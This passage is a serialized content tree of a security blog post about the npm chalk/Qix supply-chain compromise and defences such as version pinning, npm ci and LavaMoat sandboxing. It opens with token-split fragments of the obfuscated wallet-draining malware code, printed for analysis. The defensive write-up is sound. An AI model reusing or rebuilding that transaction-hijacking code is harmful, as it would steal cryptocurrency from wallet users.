_0x5ad975",{"type":19,"tag":168,"props":96102,"children":96103},{"style":399},[96104],{"type":24,"value":402},{"type":19,"tag":168,"props":96106,"children":96107},{"style":393},[96108],{"type":24,"value":95760},{"type":19,"tag":168,"props":96110,"children":96111},{"style":212},[96112],{"type":24,"value":948},{"type":19,"tag":168,"props":96114,"children":96115},{"style":393},[96116],{"type":24,"value":95769},{"type":19,"tag":168,"props":96118,"children":96119},{"style":212},[96120],{"type":24,"value":1152},{"type":19,"tag":168,"props":96122,"children":96123},{"style":192},[96124],{"type":24,"value":1452},{"type":19,"tag":168,"props":96126,"children":96127},{"style":212},[96128],{"type":24,"value":29046},{"type":19,"tag":168,"props":96130,"children":96131},{"class":170,"line":1055},[96132,96136,96140,96145,96149,96154],{"type":19,"tag":168,"props":96133,"children":96134},{"style":419},[96135],{"type":24,"value":36762},{"type":19,"tag":168,"props":96137,"children":96138},{"style":212},[96139],{"type":24,"value":461},{"type":19,"tag":168,"props":96141,"children":96142},{"style":393},[96143],{"type":24,"value":96144},"_0x5ad975",{"type":19,"tag":168,"props":96146,"children":96147},{"style":212},[96148],{"type":24,"value":948},{"type":19,"tag":168,"props":96150,"children":96151},{"style":393},[96152],{"type":24,"value":96153},"transaction",{"type":19,"tag":168,"props":96155,"children":96156},{"style":212},[96157],{"type":24,"value":12250},{"type":19,"tag":168,"props":96159,"children":96160},{"class":170,"line":1064},[96161,96166,96170,96174,96178,96182],{"type":19,"tag":168,"props":96162,"children":96163},{"style":393},[96164],{"type":24,"value":96165}," _0x5ad975",{"type":19,"tag":168,"props":96167,"children":96168},{"style":399},[96169],{"type":24,"value":402},{"type":19,"tag":168,"props":96171,"children":96172},{"style":393},[96173],{"type":24,"value":96100},{"type":19,"tag":168,"props":96175,"children":96176},{"style":212},[96177],{"type":24,"value":948},{"type":19,"tag":168,"props":96179,"children":96180},{"style":393},[96181],{"type":24,"value":96153},{"type":19,"tag":168,"props":96183,"children":96184},{"style":212},[96185],{"type":24,"value":412},{"type":19,"tag":168,"props":96187,"children":96188},{"class":170,"line":1087},[96189],{"type":19,"tag":168,"props":96190,"children":96191},{"style":212},[96192],{"type":24,"value":10109},{"type":19,"tag":168,"props":96194,"children":96195},{"class":170,"line":1096},[96196,96200,96205,96209,96213,96217,96221,96225,96229],{"type":19,"tag":168,"props":96197,"children":96198},{"style":382},[96199],{"type":24,"value":29019},{"type":19,"tag":168,"props":96201,"children":96202},{"style":393},[96203],{"type":24,"value":96204}," _0x5dbe63",{"type":19,"tag":168,"props":96206,"children":96207},{"style":399},[96208],{"type":24,"value":402},{"type":19,"tag":168,"props":96210,"children":96211},{"style":175},[96212],{"type":24,"value":95829},{"type":19,"tag":168,"props":96214,"children":96215},{"style":212},[96216],{"type":24,"value":500},{"type":19,"tag":168,"props":96218,"children":96219},{"style":393},[96220],{"type":24,"value":96144},{"type":19,"tag":168,"props":96222,"children":96223},{"style":212},[96224],{"type":24,"value":471},{"type":19,"tag":168,"props":96226,"children":96227},{"style":382},[96228],{"type":24,"value":5612},{"type":19,"tag":168,"props":96230,"children":96231},{"style":212},[96232],{"type":24,"value":1249},{"type":19,"tag":168,"props":96234,"children":96235},{"class":170,"line":1105},[96236,96240,96244,96248,96252,96256,96260,96264,96268,96272],{"type":19,"tag":168,"props":96237,"children":96238},{"style":419},[96239],{"type":24,"value":36762},{"type":19,"tag":168,"props":96241,"children":96242},{"style":212},[96243],{"type":24,"value":461},{"type":19,"tag":168,"props":96245,"children":96246},{"style":393},[96247],{"type":24,"value":95734},{"type":19,"tag":168,"props":96249,"children":96250},{"style":212},[96251],{"type":24,"value":948},{"type":19,"tag":168,"props":96253,"children":96254},{"style":393},[96255],{"type":24,"value":95769},{"type":19,"tag":168,"props":96257,"children":96258},{"style":212},[96259],{"type":24,"value":1152},{"type":19,"tag":168,"props":96261,"children":96262},{"style":192},[96263],{"type":24,"value":1452},{"type":19,"tag":168,"props":96265,"children":96266},{"style":212},[96267],{"type":24,"value":47831},{"type":19,"tag":168,"props":96269,"children":96270},{"style":393},[96271],{"type":24,"value":96153},{"type":19,"tag":168,"props":96273,"children":96274},{"style":212},[96275],{"type":24,"value":12250},{"type":19,"tag":168,"props":96277,"children":96278},{"class":170,"line":1174},[96279,96284,96288,96292,96296,96300,96304,96308,96312,96316],{"type":19,"tag":168,"props":96280,"children":96281},{"style":393},[96282],{"type":24,"value":96283}," _0x2c3d7e",{"type":19,"tag":168,"props":96285,"children":96286},{"style":212},[96287],{"type":24,"value":948},{"type":19,"tag":168,"props":96289,"children":96290},{"style":393},[96291],{"type":24,"value":95769},{"type":19,"tag":168,"props":96293,"children":96294},{"style":212},[96295],{"type":24,"value":1152},{"type":19,"tag":168,"props":96297,"children":96298},{"style":192},[96299],{"type":24,"value":1452},{"type":19,"tag":168,"props":96301,"children":96302},{"style":212},[96303],{"type":24,"value":47831},{"type":19,"tag":168,"props":96305,"children":96306},{"style":393},[96307],{"type":24,"value":96153},{"type":19,"tag":168,"props":96309,"children":96310},{"style":399},[96311],{"type":24,"value":402},{"type":19,"tag":168,"props":96313,"children":96314},{"style":393},[96315],{"type":24,"value":96204},{"type":19,"tag":168,"props":96317,"children":96318},{"style":212},[96319],{"type":24,"value":412},{"type":19,"tag":168,"props":96321,"children":96322},{"class":170,"line":1182},[96323,96327,96331],{"type":19,"tag":168,"props":96324,"children":96325},{"style":212},[96326],{"type":24,"value":36415},{"type":19,"tag":168,"props":96328,"children":96329},{"style":419},[96330],{"type":24,"value":718},{"type":19,"tag":168,"props":96332,"children":96333},{"style":212},[96334],{"type":24,"value":691},{"type":19,"tag":168,"props":96336,"children":96337},{"class":170,"line":1212},[96338,96342,96346,96350,96354,96358,96362,96366,96370],{"type":19,"tag":168,"props":96339,"children":96340},{"style":393},[96341],{"type":24,"value":96283},{"type":19,"tag":168,"props":96343,"children":96344},{"style":212},[96345],{"type":24,"value":948},{"type":19,"tag":168,"props":96347,"children":96348},{"style":393},[96349],{"type":24,"value":95769},{"type":19,"tag":168,"props":96351,"children":96352},{"style":212},[96353],{"type":24,"value":1152},{"type":19,"tag":168,"props":96355,"children":96356},{"style":192},[96357],{"type":24,"value":1452},{"type":19,"tag":168,"props":96359,"children":96360},{"style":212},[96361],{"type":24,"value":6099},{"type":19,"tag":168,"props":96363,"children":96364},{"style":399},[96365],{"type":24,"value":486},{"type":19,"tag":168,"props":96367,"children":96368},{"style":393},[96369],{"type":24,"value":96204},{"type":19,"tag":168,"props":96371,"children":96372},{"style":212},[96373],{"type":24,"value":412},{"type":19,"tag":168,"props":96375,"children":96376},{"class":170,"line":1220},[96377],{"type":19,"tag":168,"props":96378,"children":96379},{"style":212},[96380],{"type":24,"value":10109},{"type":19,"tag":168,"props":96382,"children":96383},{"class":170,"line":1252},[96384,96388,96392,96396,96401],{"type":19,"tag":168,"props":96385,"children":96386},{"style":212},[96387],{"type":24,"value":13227},{"type":19,"tag":168,"props":96389,"children":96390},{"style":419},[96391],{"type":24,"value":45893},{"type":19,"tag":168,"props":96393,"children":96394},{"style":212},[96395],{"type":24,"value":461},{"type":19,"tag":168,"props":96397,"children":96398},{"style":393},[96399],{"type":24,"value":96400},"_0x4b99fd",{"type":19,"tag":168,"props":96402,"children":96403},{"style":212},[96404],{"type":24,"value":95930},{"type":19,"tag":168,"props":96406,"children":96407},{"class":170,"line":1260},[96408],{"type":19,"tag":168,"props":96409,"children":96410},{"style":212},[96411],{"type":24,"value":3306},{"type":19,"tag":168,"props":96413,"children":96414},{"class":170,"line":1320},[96415],{"type":19,"tag":168,"props":96416,"children":96417},{"style":212},[96418],{"type":24,"value":1326},{"type":19,"tag":7050,"props":96420,"children":96422},{"id":96421},"impact-of-the-attack",[96423],{"type":24,"value":96424},"Impact of the Attack",{"type":19,"tag":20,"props":96426,"children":96427},{},[96428],{"type":24,"value":96429},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":19,"tag":36,"props":96431,"children":96433},{"id":96432},"why-it-will-happen-again",[96434],{"type":24,"value":96435},"Why It Will Happen Again",{"type":19,"tag":20,"props":96437,"children":96438},{},[96439],{"type":24,"value":96440},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":19,"tag":20,"props":96442,"children":96443},{},[96444],{"type":24,"value":96445},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":19,"tag":36,"props":96447,"children":96449},{"id":96448},"what-developers-can-do",[96450],{"type":24,"value":96451},"What Developers Can Do",{"type":19,"tag":20,"props":96453,"children":96454},{},[96455],{"type":24,"value":96456},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":19,"tag":7050,"props":96458,"children":96460},{"id":96459},"_1-version-pinning-in-packagejson",[96461,96463],{"type":24,"value":96462},"1. Version pinning in ",{"type":19,"tag":27,"props":96464,"children":96466},{"className":96465},[],[96467],{"type":24,"value":96468},"package.json",{"type":19,"tag":20,"props":96470,"children":96471},{},[96472],{"type":24,"value":96473},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":19,"tag":20,"props":96475,"children":96476},{},[96477,96479,96485,96487,96492,96494,96499],{"type":24,"value":96478},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":19,"tag":27,"props":96480,"children":96482},{"className":96481},[],[96483],{"type":24,"value":96484},"npm install",{"type":24,"value":96486},". To pin it, just make sure to remove the caret ",{"type":19,"tag":27,"props":96488,"children":96490},{"className":96489},[],[96491],{"type":24,"value":46416},{"type":24,"value":96493}," symbol before the version in ",{"type":19,"tag":27,"props":96495,"children":96497},{"className":96496},[],[96498],{"type":24,"value":96468},{"type":24,"value":1922},{"type":19,"tag":158,"props":96501,"children":96503},{"code":96502,"language":31471,"meta":7,"className":31469,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[96504],{"type":19,"tag":27,"props":96505,"children":96506},{"__ignoreMap":7},[96507,96528,96549,96570],{"type":19,"tag":168,"props":96508,"children":96509},{"class":170,"line":171},[96510,96515,96519,96524],{"type":19,"tag":168,"props":96511,"children":96512},{"style":181},[96513],{"type":24,"value":96514},"\"@react-native-async-storage/async-storage\"",{"type":19,"tag":168,"props":96516,"children":96517},{"style":212},[96518],{"type":24,"value":12778},{"type":19,"tag":168,"props":96520,"children":96521},{"style":181},[96522],{"type":24,"value":96523},"\"1.23.1\"",{"type":19,"tag":168,"props":96525,"children":96526},{"style":212},[96527],{"type":24,"value":915},{"type":19,"tag":168,"props":96529,"children":96530},{"class":170,"line":198},[96531,96536,96540,96545],{"type":19,"tag":168,"props":96532,"children":96533},{"style":181},[96534],{"type":24,"value":96535},"\"@react-native-community/datetimepicker\"",{"type":19,"tag":168,"props":96537,"children":96538},{"style":212},[96539],{"type":24,"value":12778},{"type":19,"tag":168,"props":96541,"children":96542},{"style":181},[96543],{"type":24,"value":96544},"\"8.3.0\"",{"type":19,"tag":168,"props":96546,"children":96547},{"style":212},[96548],{"type":24,"value":915},{"type":19,"tag":168,"props":96550,"children":96551},{"class":170,"line":415},[96552,96557,96561,96566],{"type":19,"tag":168,"props":96553,"children":96554},{"style":181},[96555],{"type":24,"value":96556},"\"@react-native-community/netinfo\"",{"type":19,"tag":168,"props":96558,"children":96559},{"style":212},[96560],{"type":24,"value":12778},{"type":19,"tag":168,"props":96562,"children":96563},{"style":181},[96564],{"type":24,"value":96565},"\"11.4.1\"",{"type":19,"tag":168,"props":96567,"children":96568},{"style":212},[96569],{"type":24,"value":915},{"type":19,"tag":168,"props":96571,"children":96572},{"class":170,"line":450},[96573,96578,96582],{"type":19,"tag":168,"props":96574,"children":96575},{"style":181},[96576],{"type":24,"value":96577},"\"@react-native-picker/picker\"",{"type":19,"tag":168,"props":96579,"children":96580},{"style":212},[96581],{"type":24,"value":12778},{"type":19,"tag":168,"props":96583,"children":96584},{"style":181},[96585],{"type":24,"value":96586},"\"2.11.0\"\n",{"type":19,"tag":7050,"props":96588,"children":96590},{"id":96589},"_2-use-npm-ci",[96591,96593],{"type":24,"value":96592},"2. Use ",{"type":19,"tag":27,"props":96594,"children":96596},{"className":96595},[],[96597],{"type":24,"value":96598},"npm ci",{"type":19,"tag":20,"props":96600,"children":96601},{},[96602,96607,96609,96615,96617,96622],{"type":19,"tag":27,"props":96603,"children":96605},{"className":96604},[],[96606],{"type":24,"value":96598},{"type":24,"value":96608}," uses the dependency versions from ",{"type":19,"tag":27,"props":96610,"children":96612},{"className":96611},[],[96613],{"type":24,"value":96614},"package-lock.json",{"type":24,"value":96616}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":19,"tag":27,"props":96618,"children":96620},{"className":96619},[],[96621],{"type":24,"value":96484},{"type":24,"value":96623}," when adding a new package or updating an existing one.",{"type":19,"tag":7050,"props":96625,"children":96627},{"id":96626},"_3-implement-lavamoat",[96628,96630],{"type":24,"value":96629},"3. Implement ",{"type":19,"tag":269,"props":96631,"children":96634},{"href":96632,"rel":96633},"https://github.com/LavaMoat/LavaMoat/tree/main",[273],[96635],{"type":19,"tag":51,"props":96636,"children":96637},{},[96638],{"type":24,"value":96639},"Lavamoat",{"type":19,"tag":20,"props":96641,"children":96642},{},[96643],{"type":24,"value":96644},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":19,"tag":20,"props":96646,"children":96647},{},[96648],{"type":24,"value":96649},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":19,"tag":158,"props":96651,"children":96653},{"code":96652,"language":31471,"meta":7,"className":31469,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[96654],{"type":19,"tag":27,"props":96655,"children":96656},{"__ignoreMap":7},[96657,96669,96681,96692,96708,96715,96722,96734,96745,96765,96781,96788,96799,96819,96835,96842,96849],{"type":19,"tag":168,"props":96658,"children":96659},{"class":170,"line":171},[96660,96665],{"type":19,"tag":168,"props":96661,"children":96662},{"style":181},[96663],{"type":24,"value":96664},"\"resources\"",{"type":19,"tag":168,"props":96666,"children":96667},{"style":212},[96668],{"type":24,"value":34497},{"type":19,"tag":168,"props":96670,"children":96671},{"class":170,"line":198},[96672,96677],{"type":19,"tag":168,"props":96673,"children":96674},{"style":393},[96675],{"type":24,"value":96676}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":19,"tag":168,"props":96678,"children":96679},{"style":212},[96680],{"type":24,"value":34497},{"type":19,"tag":168,"props":96682,"children":96683},{"class":170,"line":415},[96684,96688],{"type":19,"tag":168,"props":96685,"children":96686},{"style":393},[96687],{"type":24,"value":34505},{"type":19,"tag":168,"props":96689,"children":96690},{"style":212},[96691],{"type":24,"value":34497},{"type":19,"tag":168,"props":96693,"children":96694},{"class":170,"line":450},[96695,96700,96704],{"type":19,"tag":168,"props":96696,"children":96697},{"style":393},[96698],{"type":24,"value":96699}," \"TextEncoder\"",{"type":19,"tag":168,"props":96701,"children":96702},{"style":212},[96703],{"type":24,"value":12778},{"type":19,"tag":168,"props":96705,"children":96706},{"style":382},[96707],{"type":24,"value":34666},{"type":19,"tag":168,"props":96709,"children":96710},{"class":170,"line":560},[96711],{"type":19,"tag":168,"props":96712,"children":96713},{"style":212},[96714],{"type":24,"value":10109},{"type":19,"tag":168,"props":96716,"children":96717},{"class":170,"line":666},[96718],{"type":19,"tag":168,"props":96719,"children":96720},{"style":212},[96721],{"type":24,"value":22849},{"type":19,"tag":168,"props":96723,"children":96724},{"class":170,"line":694},[96725,96730],{"type":19,"tag":168,"props":96726,"children":96727},{"style":393},[96728],{"type":24,"value":96729}," \"@ethereumjs/util\"",{"type":19,"tag":168,"props":96731,"children":96732},{"style":212},[96733],{"type":24,"value":34497},{"type":19,"tag":168,"props":96735,"children":96736},{"class":170,"line":707},[96737,96741],{"type":19,"tag":168,"props":96738,"children":96739},{"style":393},[96740],{"type":24,"value":34505},{"type":19,"tag":168,"props":96742,"children":96743},{"style":212},[96744],{"type":24,"value":34497},{"type":19,"tag":168,"props":96746,"children":96747},{"class":170,"line":725},[96748,96753,96757,96761],{"type":19,"tag":168,"props":96749,"children":96750},{"style":393},[96751],{"type":24,"value":96752}," \"console.warn\"",{"type":19,"tag":168,"props":96754,"children":96755},{"style":212},[96756],{"type":24,"value":12778},{"type":19,"tag":168,"props":96758,"children":96759},{"style":382},[96760],{"type":24,"value":1423},{"type":19,"tag":168,"props":96762,"children":96763},{"style":212},[96764],{"type":24,"value":915},{"type":19,"tag":168,"props":96766,"children":96767},{"class":170,"line":746},[96768,96773,96777],{"type":19,"tag":168,"props":96769,"children":96770},{"style":393},[96771],{"type":24,"value":96772}," \"fetch\"",{"type":19,"tag":168,"props":96774,"children":96775},{"style":212},[96776],{"type":24,"value":12778},{"type":19,"tag":168,"props":96778,"children":96779},{"style":382},[96780],{"type":24,"value":34666},{"type":19,"tag":168,"props":96782,"children":96783},{"class":170,"line":755},[96784],{"type":19,"tag":168,"props":96785,"children":96786},{"style":212},[96787],{"type":24,"value":34674},{"type":19,"tag":168,"props":96789,"children":96790},{"class":170,"line":1008},[96791,96795],{"type":19,"tag":168,"props":96792,"children":96793},{"style":393},[96794],{"type":24,"value":34682},{"type":19,"tag":168,"props":96796,"children":96797},{"style":212},[96798],{"type":24,"value":34497},{"type":19,"tag":168,"props":96800,"children":96801},{"class":170,"line":1025},[96802,96807,96811,96815],{"type":19,"tag":168,"props":96803,"children":96804},{"style":393},[96805],{"type":24,"value":96806}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":19,"tag":168,"props":96808,"children":96809},{"style":212},[96810],{"type":24,"value":12778},{"type":19,"tag":168,"props":96812,"children":96813},{"style":382},[96814],{"type":24,"value":1423},{"type":19,"tag":168,"props":96816,"children":96817},{"style":212},[96818],{"type":24,"value":915},{"type":19,"tag":168,"props":96820,"children":96821},{"class":170,"line":1042},[96822,96827,96831],{"type":19,"tag":168,"props":96823,"children":96824},{"style":393},[96825],{"type":24,"value":96826}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":19,"tag":168,"props":96828,"children":96829},{"style":212},[96830],{"type":24,"value":12778},{"type":19,"tag":168,"props":96832,"children":96833},{"style":382},[96834],{"type":24,"value":34666},{"type":19,"tag":168,"props":96836,"children":96837},{"class":170,"line":1055},[96838],{"type":19,"tag":168,"props":96839,"children":96840},{"style":212},[96841],{"type":24,"value":10109},{"type":19,"tag":168,"props":96843,"children":96844},{"class":170,"line":1064},[96845],{"type":19,"tag":168,"props":96846,"children":96847},{"style":212},[96848],{"type":24,"value":761},{"type":19,"tag":168,"props":96850,"children":96851},{"class":170,"line":1087},[96852],{"type":19,"tag":168,"props":96853,"children":96854},{"style":212},[96855],{"type":24,"value":1326},{"type":19,"tag":20,"props":96857,"children":96858},{},[96859,96861,96867,96869,96875,96876,96881,96883,96889,96890,96896],{"type":24,"value":96860},"In this example, it restricts the ",{"type":19,"tag":27,"props":96862,"children":96864},{"className":96863},[],[96865],{"type":24,"value":96866},"@ethereumjs/util",{"type":24,"value":96868}," package to use only ",{"type":19,"tag":27,"props":96870,"children":96872},{"className":96871},[],[96873],{"type":24,"value":96874},"console.warn",{"type":24,"value":8436},{"type":19,"tag":27,"props":96877,"children":96879},{"className":96878},[],[96880],{"type":24,"value":31568},{"type":24,"value":96882}," functions, and to include only ",{"type":19,"tag":27,"props":96884,"children":96886},{"className":96885},[],[96887],{"type":24,"value":96888},"@ethereumjs/rlp",{"type":24,"value":8436},{"type":19,"tag":27,"props":96891,"children":96893},{"className":96892},[],[96894],{"type":24,"value":96895},"ethereum-cryptography",{"type":24,"value":96897}," packages.",{"type":19,"tag":20,"props":96899,"children":96900},{},[96901],{"type":24,"value":96902},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":19,"tag":20,"props":96904,"children":96905},{},[96906,96908,96914],{"type":24,"value":96907},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":19,"tag":269,"props":96909,"children":96912},{"href":96910,"rel":96911},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[273],[96913],{"type":24,"value":34852},{"type":24,"value":948},{"type":19,"tag":7050,"props":96916,"children":96918},{"id":96917},"lavamoat-vs-qix-malware",[96919],{"type":24,"value":96920},"Lavamoat vs Qix Malware",{"type":19,"tag":20,"props":96922,"children":96923},{},[96924,96926,96931],{"type":24,"value":96925},"If a dApp were compromised with the Qix malware (say it used ",{"type":19,"tag":27,"props":96927,"children":96929},{"className":96928},[],[96930],{"type":24,"value":94771},{"type":24,"value":96932},"), it would need to perform the following actions to drain funds from a wallet:",{"type":19,"tag":2869,"props":96934,"children":96935},{},[96936,96948,96959,96970],{"type":19,"tag":47,"props":96937,"children":96938},{},[96939,96941,96946],{"type":24,"value":96940},"Replace ",{"type":19,"tag":27,"props":96942,"children":96944},{"className":96943},[],[96945],{"type":24,"value":31568},{"type":24,"value":96947}," function to a custom one",{"type":19,"tag":47,"props":96949,"children":96950},{},[96951,96953],{"type":24,"value":96952},"Access ",{"type":19,"tag":27,"props":96954,"children":96956},{"className":96955},[],[96957],{"type":24,"value":96958},"window.ethereum",{"type":19,"tag":47,"props":96960,"children":96961},{},[96962,96964,96969],{"type":24,"value":96963},"Call original ",{"type":19,"tag":27,"props":96965,"children":96967},{"className":96966},[],[96968],{"type":24,"value":31568},{"type":24,"value":35689},{"type":19,"tag":47,"props":96971,"children":96972},{},[96973],{"type":24,"value":96974},"Plus other actions not relevant here",{"type":19,"tag":20,"props":96976,"children":96977},{},[96978,96980,96986],{"type":24,"value":96979},"If the dApp is using Lavamoat with a generated policy for ",{"type":19,"tag":27,"props":96981,"children":96983},{"className":96982},[],[96984],{"type":24,"value":96985},"chalk 5.6.0",{"type":24,"value":96987}," (non-malicious version) it would look like this:",{"type":19,"tag":158,"props":96989,"children":96991},{"code":96990,"language":31471,"meta":7,"className":31469,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[96992],{"type":19,"tag":27,"props":96993,"children":96994},{"__ignoreMap":7},[96995,97007,97018,97038,97054,97061],{"type":19,"tag":168,"props":96996,"children":96997},{"class":170,"line":171},[96998,97003],{"type":19,"tag":168,"props":96999,"children":97000},{"style":181},[97001],{"type":24,"value":97002},"\"chalk\"",{"type":19,"tag":168,"props":97004,"children":97005},{"style":212},[97006],{"type":24,"value":34497},{"type":19,"tag":168,"props":97008,"children":97009},{"class":170,"line":198},[97010,97014],{"type":19,"tag":168,"props":97011,"children":97012},{"style":393},[97013],{"type":24,"value":34505},{"type":19,"tag":168,"props":97015,"children":97016},{"style":212},[97017],{"type":24,"value":34497},{"type":19,"tag":168,"props":97019,"children":97020},{"class":170,"line":415},[97021,97026,97030,97034],{"type":19,"tag":168,"props":97022,"children":97023},{"style":393},[97024],{"type":24,"value":97025}," \"navigator.userAgent\"",{"type":19,"tag":168,"props":97027,"children":97028},{"style":212},[97029],{"type":24,"value":12778},{"type":19,"tag":168,"props":97031,"children":97032},{"style":382},[97033],{"type":24,"value":1423},{"type":19,"tag":168,"props":97035,"children":97036},{"style":212},[97037],{"type":24,"value":915},{"type":19,"tag":168,"props":97039,"children":97040},{"class":170,"line":450},[97041,97046,97050],{"type":19,"tag":168,"props":97042,"children":97043},{"style":393},[97044],{"type":24,"value":97045}," \"navigator.userAgentData\"",{"type":19,"tag":168,"props":97047,"children":97048},{"style":212},[97049],{"type":24,"value":12778},{"type":19,"tag":168,"props":97051,"children":97052},{"style":382},[97053],{"type":24,"value":34666},{"type":19,"tag":168,"props":97055,"children":97056},{"class":170,"line":560},[97057],{"type":19,"tag":168,"props":97058,"children":97059},{"style":212},[97060],{"type":24,"value":10109},{"type":19,"tag":168,"props":97062,"children":97063},{"class":170,"line":666},[97064],{"type":19,"tag":168,"props":97065,"children":97066},{"style":212},[97067],{"type":24,"value":22849},{"type":19,"tag":20,"props":97069,"children":97070},{},[97071,97073,97079],{"type":24,"value":97072},"That means that the chalk dependency can only access these two global attributes from ",{"type":19,"tag":27,"props":97074,"children":97076},{"className":97075},[],[97077],{"type":24,"value":97078},"navigator",{"type":24,"value":948},{"type":19,"tag":20,"props":97081,"children":97082},{},[97083,97085,97091],{"type":24,"value":97084},"When the compromised dApp would execute the malicious payload of ",{"type":19,"tag":27,"props":97086,"children":97088},{"className":97087},[],[97089],{"type":24,"value":97090},"chalk v5.6.1",{"type":24,"value":97092}," it would fail due to insufficient permissions:",{"type":19,"tag":20,"props":97094,"children":97095},{},[97096],{"type":19,"tag":1344,"props":97097,"children":97099},{"alt":48061,"src":97098},"/posts/supply-chain-attcks/error.png",[],{"type":19,"tag":20,"props":97101,"children":97102},{},[97103,97105,97110],{"type":24,"value":97104},"This error shows that the malware failed since it cannot redefine ",{"type":19,"tag":27,"props":97106,"children":97108},{"className":97107},[],[97109],{"type":24,"value":31568},{"type":24,"value":22936},{"type":19,"tag":158,"props":97112,"children":97114},{"code":97113},"TypeError#1: Cannot define property fetch, object is not extensible\n",[97115],{"type":19,"tag":27,"props":97116,"children":97117},{"__ignoreMap":7},[97118],{"type":24,"value":97113},{"type":19,"tag":36,"props":97120,"children":97122},{"id":97121},"lavamoat-in-practice",[97123],{"type":24,"value":97124},"Lavamoat In Practice",{"type":19,"tag":20,"props":97126,"children":97127},{},[97128,97130,97137],{"type":24,"value":97129},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":19,"tag":269,"props":97131,"children":97134},{"href":97132,"rel":97133},"https://osec.io/reports/lavamoat_audit_final.pdf",[273],[97135],{"type":24,"value":97136},"see the audit report",{"type":24,"value":18197},{"type":19,"tag":20,"props":97139,"children":97140},{},[97141],{"type":24,"value":97142},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":19,"tag":36,"props":97144,"children":97145},{"id":73286},[97146],{"type":24,"value":73289},{"type":19,"tag":20,"props":97148,"children":97149},{},[97150],{"type":24,"value":97151},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":19,"tag":20,"props":97153,"children":97154},{},[97155,97157,97162],{"type":24,"value":97156},"Version pinning and ",{"type":19,"tag":27,"props":97158,"children":97160},{"className":97159},[],[97161],{"type":24,"value":96598},{"type":24,"value":97163}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":19,"tag":232,"props":97165,"children":97166},{},[97167],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":97169},[97170,97173,97174,97183,97184],{"id":94786,"depth":198,"text":94789,"children":97171},[97172],{"id":96421,"depth":415,"text":96424},{"id":96432,"depth":198,"text":96435},{"id":96448,"depth":198,"text":96451,"children":97175},[97176,97178,97180,97182],{"id":96459,"depth":415,"text":97177},"1. Version pinning in package.json",{"id":96589,"depth":415,"text":97179},"2. Use npm ci",{"id":96626,"depth":415,"text":97181},"3. Implement Lavamoat",{"id":96917,"depth":415,"text":96920},{"id":97121,"depth":198,"text":97124},{"id":73286,"depth":198,"text":73289},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":97189,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":97190,"description":97191,"date":97192,"author":97193,"image":97194,"isFeatured":14,"onBlogPage":14,"tags":97196,"body":97199,"_type":242,"_id":99530,"_source":244,"_file":99531,"_stem":99532,"_extension":247},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to 